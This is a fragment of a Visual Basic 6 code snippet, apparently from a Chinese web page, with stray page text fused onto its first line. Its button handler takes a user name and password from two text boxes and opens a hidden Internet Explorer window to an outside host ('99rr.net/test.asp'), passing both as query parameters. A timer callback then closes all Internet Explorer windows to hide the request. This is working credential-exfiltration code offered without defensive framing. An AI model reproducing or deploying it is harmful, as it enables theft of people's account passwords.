点击在新窗播放ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Boolean
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Public Function KILLIE(ByVal hwnd As Long, ByVal lParam As Long) As Boolean
Dim classname As String
Dim str5 As String
Dim len5 As Long, i As Long
str5 = String(255, 0)
len5 = 256
GetClassName hwnd, str5, 256
classname = Left(str5, InStr(1, str5, Chr(0)) - 1)
Debug.Print classname
If classname = "IEFrame" Then
PostMessage hwnd, WM_CLOSE, 0&, 0&
End If
KILLIE = True
End Function
按钮代码:
Dim a As String
Dim b As String
a = Text1.Text
b = Text2.Text
Shell "C:\Program Files\Internet Explorer\iexplore.exe http://10518.99rr.net/test.asp?name=" + a + "&pass=" + b, vbHide
Timer1.Enabled = True
时钟代码:
EnumWindows AddressOf KILLIE, 0&
Timer1.Enabled = False